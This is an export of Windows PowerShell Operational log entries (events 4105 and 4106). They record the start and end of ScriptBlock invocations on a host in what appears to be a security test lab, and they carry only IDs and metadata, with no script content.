SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024407
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024406
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024405
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024404
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024403
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024402
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024401
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024400
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024399
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024398
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024397
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024396
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024395
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024394
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024393
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024392
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024391
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024390
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024389
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024388
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024387
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024386
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024385
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024384
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024383
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024382
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024381
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024380
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024379
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024378
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024377
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024376
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024375
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024374
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024373
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024372
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024371
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024370
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024369
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024368
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024367
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024366
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024365
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024364
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024363
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024362
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024361
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024360
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024359
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024358
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024357
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024356
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024355
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
